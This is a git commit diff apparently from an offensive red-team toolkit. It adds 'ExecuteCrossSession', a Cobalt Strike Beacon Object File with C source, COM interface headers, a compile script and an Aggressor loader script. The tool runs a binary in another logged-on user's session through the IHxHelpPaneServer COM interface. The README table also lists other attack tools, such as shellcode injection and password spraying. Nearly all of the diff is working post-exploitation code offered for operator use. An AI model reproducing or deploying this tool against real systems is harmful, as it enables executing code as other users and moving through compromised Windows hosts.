RTO 1 anno fa
parent
commit
ff56550a16

+ 21 - 0
KIT/ExecuteCrossSession/IHxExec.h

@@ -0,0 +1,21 @@
+#ifndef IHXEXEC_H
+#define IHXEXEC_H
+
+// Define the IHxHelpPaneServer interface in C
+typedef struct IHxHelpPaneServer IHxHelpPaneServer;
+
+typedef struct IHxHelpPaneServerVtbl {
+    HRESULT (STDMETHODCALLTYPE *QueryInterface)(IHxHelpPaneServer *This, REFIID riid, void **ppvObject);
+    ULONG (STDMETHODCALLTYPE *AddRef)(IHxHelpPaneServer *This);
+    ULONG (STDMETHODCALLTYPE *Release)(IHxHelpPaneServer *This);
+    HRESULT (STDMETHODCALLTYPE *DisplayTask)(IHxHelpPaneServer *This, PWCHAR);
+    HRESULT (STDMETHODCALLTYPE *DisplayContents)(IHxHelpPaneServer *This, PWCHAR);
+    HRESULT (STDMETHODCALLTYPE *DisplaySearchResults)(IHxHelpPaneServer *This, PWCHAR);
+    HRESULT (STDMETHODCALLTYPE *Execute)(IHxHelpPaneServer *This, const PWCHAR);
+} IHxHelpPaneServerVtbl;
+
+struct IHxHelpPaneServer {
+    IHxHelpPaneServerVtbl *lpVtbl;
+};
+
+#endif // IHXEXEC_H

+ 107 - 0
KIT/ExecuteCrossSession/IStandardActivator_h.h

@@ -0,0 +1,107 @@
+#ifndef __ISTANDARD_ACTIVATOR_H_H__
+#define __ISTANDARD_ACTIVATOR_H_H__
+
+#include <windows.h>
+#include <unknwn.h>
+
+#ifdef __cplusplus
+extern "C"{
+#endif 
+
+/* Forward Declarations */ 
+
+#ifndef __IStandardActivator_FWD_DEFINED__
+#define __IStandardActivator_FWD_DEFINED__
+typedef interface IStandardActivator IStandardActivator;
+#endif 	/* __IStandardActivator_FWD_DEFINED__ */
+
+
+#ifndef __ISpecialSystemProperties_FWD_DEFINED__
+#define __ISpecialSystemProperties_FWD_DEFINED__
+typedef interface ISpecialSystemProperties ISpecialSystemProperties;
+#endif 	/* __ISpecialSystemProperties_FWD_DEFINED__ */
+
+
+/* interface IStandardActivator */
+/* [unique][uuid][local][object] */ 
+
+EXTERN_C const IID IID_IStandardActivator;
+
+typedef struct IStandardActivatorVtbl {
+    BEGIN_INTERFACE
+    
+    HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+        IStandardActivator * This,
+        /* [in] */ REFIID riid,
+        /* [annotation][iid_is][out] */ 
+        _COM_Outptr_  void **ppvObject);
+    
+    ULONG ( STDMETHODCALLTYPE *AddRef )( 
+        IStandardActivator * This);
+    
+    ULONG ( STDMETHODCALLTYPE *Release )( 
+        IStandardActivator * This);
+    
+    HRESULT ( STDMETHODCALLTYPE *StandardGetClassObject )( 
+        IStandardActivator * This,
+        /* [in] */ REFCLSID rclsid,
+        /* [in] */ DWORD dwClsCtx,
+        /* [in] */ COSERVERINFO *pServerInfo,
+        /* [in] */ REFIID riid,
+        /* [iid_is][out] */ void **ppv);
+    
+    HRESULT ( STDMETHODCALLTYPE *StandardCreateInstance )( 
+        IStandardActivator * This,
+        /* [in] */ REFCLSID Clsid,
+        /* [in] */ IUnknown *punkOuter,
+        /* [in] */ DWORD dwClsCtx,
+        /* [in] */ COSERVERINFO *pServerInfo,
+        /* [in] */ DWORD dwCount,
+        /* [size_is][in] */ MULTI_QI *pResults);
+    
+    END_INTERFACE
+} IStandardActivatorVtbl;
+
+interface IStandardActivator {
+    CONST_VTBL struct IStandardActivatorVtbl *lpVtbl;
+};
+
+
+/* interface ISpecialSystemProperties */
+/* [unique][uuid][local][object] */ 
+
+EXTERN_C const IID IID_ISpecialSystemProperties;
+
+typedef struct ISpecialSystemPropertiesVtbl {
+    BEGIN_INTERFACE
+    
+    HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+        ISpecialSystemProperties * This,
+        /* [in] */ REFIID riid,
+        /* [annotation][iid_is][out] */ 
+        _COM_Outptr_  void **ppvObject);
+    
+    ULONG ( STDMETHODCALLTYPE *AddRef )( 
+        ISpecialSystemProperties * This);
+    
+    ULONG ( STDMETHODCALLTYPE *Release )( 
+        ISpecialSystemProperties * This);
+    
+    HRESULT ( STDMETHODCALLTYPE *SetSessionId )( 
+        ISpecialSystemProperties * This,
+        /* [in] */ ULONG dwSessionId,
+        /* [in] */ BOOL bUseConsole,
+        /* [in] */ BOOL fRemoteThisSessionId);
+    
+    END_INTERFACE
+} ISpecialSystemPropertiesVtbl;
+
+interface ISpecialSystemProperties {
+    CONST_VTBL struct ISpecialSystemPropertiesVtbl *lpVtbl;
+};
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif  /* __ISTANDARD_ACTIVATOR_H_H__ */

+ 24 - 0
KIT/ExecuteCrossSession/README.md

@@ -0,0 +1,24 @@
+# ExecuteCrossSession
+This BOF can execute a binary on disk in the context of another user. It achieves this through cross-session interaction using the IStandardActivator, ISpecialSystemProperties, and IHxHelpPaneServer COM interfaces. Consequently, process injection is not necessary to run code on behalf of another logged-on user.
+
+>Similar to process injection, this technique requires local administrator privileges on the system to interact with another user's session.
+
+## Acknowledgements
+This BOF implementation is entirely based on the work of Michael Zhmailo. More information about his work can be found on his [blog](https://cicada-8.medium.com/process-injection-is-dead-long-live-ihxhelppaneserver-af8f20431b5d). Furthermore, a working POC named [IHxExec](https://github.com/CICADA8-Research/IHxExec/tree/main) can be found on his github.
+
+## Arguments
+* `<binary path>`: path to the binary you want to execute.
+* `<session ID>`: specify the session ID of the user session in which the specified binary needs to be executed.
+
+## Usage
+* `executecrosssession <binary path> <session ID>`
+
+## Examples
+* `executecrosssession C:\\Windows\\System32\\calc.exe 2`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 
+

+ 69 - 0
KIT/ExecuteCrossSession/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 5 - 0
KIT/ExecuteCrossSession/bofcompile.bat

@@ -0,0 +1,5 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc executecrosssession.c
+move /y executecrosssession.obj executecrosssession.o
+

+ 104 - 0
KIT/ExecuteCrossSession/executecrosssession.c

@@ -0,0 +1,104 @@
+#include <windows.h>
+#include <stdio.h>
+#include <wchar.h>
+#include "IHxExec.h"
+#include "IStandardActivator_h.h"
+#include "executecrosssession.h"
+#include "beacon.h"
+
+#pragma comment(lib, "ole32.lib")
+#pragma comment(lib, "oleaut32.lib")
+
+
+// Initialize IHxHelpPaneServer GUIDs
+HRESULT CoInitializeIHxHelpIds(GUID *Clsid, GUID *Iid) {
+    HRESULT Result = S_OK;
+
+    Result = OLE32$CLSIDFromString(L"{8cec58ae-07a1-11d9-b15e-000d56bfe6ee}", Clsid);
+    if (!SUCCEEDED(Result))
+        return Result;
+
+    Result = OLE32$CLSIDFromString(L"{8cec592c-07a1-11d9-b15e-000d56bfe6ee}", Iid);
+    return Result;
+}
+
+// Ensure file protocol in URL
+void EnsureFileProtocol(wchar_t **programPath) {
+    const wchar_t *prefix = L"file:///";
+    size_t prefix_len = MSVCRT$wcslen(prefix);
+    size_t url_len = MSVCRT$wcslen(*programPath);
+	
+    if (url_len < prefix_len || MSVCRT$wcsncmp(*programPath, prefix, prefix_len) != 0) {
+        size_t new_len = prefix_len + url_len + 1;
+        wchar_t *new_url = (wchar_t *)MSVCRT$malloc(new_len * sizeof(wchar_t));
+        MSVCRT$wcscpy_s(new_url, new_len, prefix);
+        MSVCRT$wcscat_s(new_url, new_len, *programPath);
+        *programPath = new_url;
+    }
+}
+
+HRESULT CrossExecuteCOMTask(wchar_t *programPath, DWORD session) {
+    HRESULT hr;
+    IStandardActivator *pComAct = NULL;
+    ISpecialSystemProperties *pSpecialProperties = NULL;
+    IHxHelpPaneServer *pIHxHelpPaneServer = NULL;
+    MULTI_QI qis[1] = {0};
+	
+    EnsureFileProtocol(&programPath);
+
+    IID CLSIDIHxHelpPaneServer;
+    IID IIDIHxHelpPaneServer;
+    hr = CoInitializeIHxHelpIds(&CLSIDIHxHelpPaneServer, &IIDIHxHelpPaneServer);
+    if (FAILED(hr)) return hr;
+
+    hr = OLE32$CoInitializeEx(NULL, COINIT_MULTITHREADED);
+    if (FAILED(hr)) return hr;
+
+    const IID CLSIDComActivator = {0x0000033C, 0x0000, 0x0000, {0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}};
+    const IID IIDIStandardActivator = {0x000001b8, 0x0000, 0x0000, {0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}};
+    hr = OLE32$CoCreateInstance(&CLSIDComActivator, NULL, CLSCTX_INPROC_SERVER, &IIDIStandardActivator, (void **)&pComAct);
+    if (FAILED(hr)) goto Cleanup;
+	
+    const IID IIDISpecialSystemProperties = {0x000001b9, 0x0000, 0x0000, {0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}};
+    hr = pComAct->lpVtbl->QueryInterface(pComAct, &IIDISpecialSystemProperties, (void **)&pSpecialProperties);
+    if (FAILED(hr)) goto Cleanup;
+	
+    hr = pSpecialProperties->lpVtbl->SetSessionId(pSpecialProperties, session, 0, 1);
+    if (FAILED(hr)) goto Cleanup;
+	
+    qis[0].pIID = &IIDIHxHelpPaneServer;
+    hr = pComAct->lpVtbl->StandardCreateInstance(pComAct, &CLSIDIHxHelpPaneServer, NULL, CLSCTX_ALL, NULL, 1, qis);
+    if (FAILED(hr)) goto Cleanup;
+
+    pIHxHelpPaneServer = (IHxHelpPaneServer *)(qis[0].pItf);
+	
+    hr = pIHxHelpPaneServer->lpVtbl->Execute(pIHxHelpPaneServer, programPath);
+    if (FAILED(hr)) goto Cleanup;
+	
+Cleanup:
+    if (pComAct) pComAct->lpVtbl->Release(pComAct);
+    if (pSpecialProperties) pSpecialProperties->lpVtbl->Release(pSpecialProperties);
+    if (pIHxHelpPaneServer) pIHxHelpPaneServer->lpVtbl->Release(pIHxHelpPaneServer);
+    OLE32$CoUninitialize();
+	
+    return hr;
+}
+
+int go(char *args, int len) {
+	datap parser;
+    WCHAR *programPath = L"";
+    DWORD *session;
+	
+	BeaconDataParse(&parser, args, len);
+	programPath = BeaconDataExtract(&parser, NULL);
+	session = BeaconDataInt(&parser);
+	
+	HRESULT hr = CrossExecuteCOMTask(programPath, session);
+	if (SUCCEEDED(hr)) {
+        BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully started COM object in session ID %d and executed binary: %ls\n", session, programPath);
+    } else {
+        BeaconPrintf(CALLBACK_ERROR, "[-] Failed operation with error code: 0x%08lx\n", hr);
+    }
+	
+    return 0;
+}

+ 41 - 0
KIT/ExecuteCrossSession/executecrosssession.cna

@@ -0,0 +1,41 @@
+# author REDMED-X
+
+beacon_command_register(
+	"executecrosssession", "Execute a binary on disk within the context of another logged-on user's session",
+	"INFO:\nExecute a binary on disk within the context of another logged-on user's session using COM.\n\n" .
+	"ARGUMENTS:\n[<binary path>]: path to the binary that you like to execute.\n[<session ID>]: specify the session ID of the user in which context the specified binary needs to be executed.\n\n" .
+	"USAGE:\nexecutecrosssession <binary path> <session ID>\n\n" .
+	"EXAMPLES:\nexecutecrosssession C:\\Windows\\System32\\calc.exe 2\n\n");
+	
+alias executecrosssession {
+    $bid = $1;
+    $binarypath = $2;
+    $sessionid = $3;
+
+    if ($binarypath eq "") {
+        berror($bid, "Please specify the path to the binary that you want to execute.\n");
+        return;
+    }
+
+
+    if ($sessionid eq "") {
+		berror($bid, "Please specify the session ID of the user under which you want the execute the binary.\n");
+		return;
+    }
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("executecrosssession.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "Zi", $binarypath, $sessionid);
+
+    blog($bid, "Tasked to cross-session execute a binary via COM..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+
+
+

+ 14 - 0
KIT/ExecuteCrossSession/executecrosssession.h

@@ -0,0 +1,14 @@
+
+//main
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit);
+DECLSPEC_IMPORT void WINAPI OLE32$CoUninitialize(void);
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance (REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CLSIDFromString(LPCOLESTR lpsz, LPCLSID pclsid);
+
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
+WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *str);
+WINBASEAPI int __cdecl MSVCRT$wcsncmp(const wchar_t *str1, const wchar_t *str2, size_t num);
+WINBASEAPI void* __cdecl MSVCRT$malloc(size_t size);
+WINBASEAPI errno_t __cdecl MSVCRT$wcscpy_s(wchar_t *dest, size_t destsz, const wchar_t *src);
+WINBASEAPI errno_t __cdecl MSVCRT$wcscat_s(wchar_t *dest, size_t destsz, const wchar_t *src);
+WINBASEAPI int __cdecl MSVCRT$wprintf(const wchar_t *format, ...);

BIN
KIT/ExecuteCrossSession/executecrosssession.o


+ 39 - 0
OperatorsKit.cna

@@ -1235,6 +1235,45 @@ alias passwordspray {
 
 
 
+beacon_command_register(
+	"executecrosssession", "Execute a binary on disk within the context of another logged-on user's session",
+	"INFO:\nExecute a binary on disk within the context of another logged-on user's session using COM.\n\n" .
+	"ARGUMENTS:\n[<binary path>]: path to the binary that you like to execute.\n[<session ID>]: specify the session ID of the user in which context the specified binary needs to be executed.\n\n" .
+	"USAGE:\nexecutecrosssession <binary path> <session ID>\n\n" .
+	"EXAMPLES:\nexecutecrosssession C:\\Windows\\System32\\calc.exe 2\n\n");
+	
+alias executecrosssession {
+    $bid = $1;
+    $binarypath = $2;
+    $sessionid = $3;
+
+    if ($binarypath eq "") {
+        berror($bid, "Please specify the path to the binary that you want to execute.\n");
+        return;
+    }
+
+
+    if ($sessionid eq "") {
+		berror($bid, "Please specify the session ID of the user under which you want the execute the binary.\n");
+		return;
+    }
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/ExecuteCrossSession/executecrosssession.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "Zi", $binarypath, $sessionid);
+
+    blog($bid, "Tasked to cross-session execute a binary via COM..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+
+
+
 
 
 

+ 3 - 2
README.md

@@ -18,7 +18,7 @@ The following tools are currently in the OperatorsKit:
 |**[DelLocalCert](KIT/DelLocalCert)**|Delete a local computer certificate from a specific store.|
 |**[DelTaskScheduler](KIT/DelTaskScheduler)**|Delete a scheduled task on the current- or a remote host.|
 |**[DllComHijacking](KIT/DllComHijacking)**|Leverage DLL Hijacking by instantiating a COM object on a target host |
-|**[DllEnvHijacking](KIT/DllEnvHijacking)**|BOF implementation of DLL environment hijacking published by [Wietze](https://www.wietzebeukema.nl/blog/save-the-environment-variables).|
+|**[DllEnvHijacking](KIT/DllEnvHijacking)**|BOF implementation of DLL environment hijacking.|
 |**[EnumDotnet](KIT/EnumDotnet)**|Enumerate processes that most likely have .NET loaded.|
 |**[EnumDrives](KIT/EnumDrives)**|Enumerate drive letters and type.|
 |**[EnumExclusions](KIT/EnumExclusions)**|Check the AV for excluded files, folders, extentions and processes.|
@@ -33,10 +33,11 @@ The following tools are currently in the OperatorsKit:
 |**[EnumTaskScheduler](KIT/EnumTaskScheduler)**|Enumerate all scheduled tasks in the root folder.|
 |**[EnumWebClient](KIT/EnumWebClient)**|Find hosts with the WebClient service running based on a list with predefined hostnames.|
 |**[EnumWSC](KIT/EnumWSC)**|List what security products are registered in Windows Security Center.|
+|**[ExecuteCrossSession](KIT/ExecuteCrossSession)**|Execute a binary in the context of another user via COM cross-session interaction|
 |**[ForceLockScreen](KIT/ForceLockScreen)**|Force the lock screen of the current user session.|
 |**[HideFile](KIT/HideFile)**|Hide a file or directory by setting it's attributes to systemfile + hidden.|
 |**[IdleTime](KIT/IdleTime)**|Check current user activity based on the user's last input.|
-|**[InjectPoolParty](KIT/InjectPoolParty)**|Inject beacon shellcode and execute it via [Windows Thread Pools](https://github.com/SafeBreach-Labs/PoolParty/)|
+|**[InjectPoolParty](KIT/InjectPoolParty)**|Inject beacon shellcode and execute it via Windows Thread Pools|
 |**[LoadLib](KIT/LoadLib)**|Load an on disk present DLL via RtlRemoteCall API in a remote process.|
 |**[PSremote](KIT/PSremote)**|Enumerate all running processes on a remote host.|
 |**[PasswordSpray](KIT/PasswordSpray)**|Validate a single password against multiple accounts using kerberos authentication.|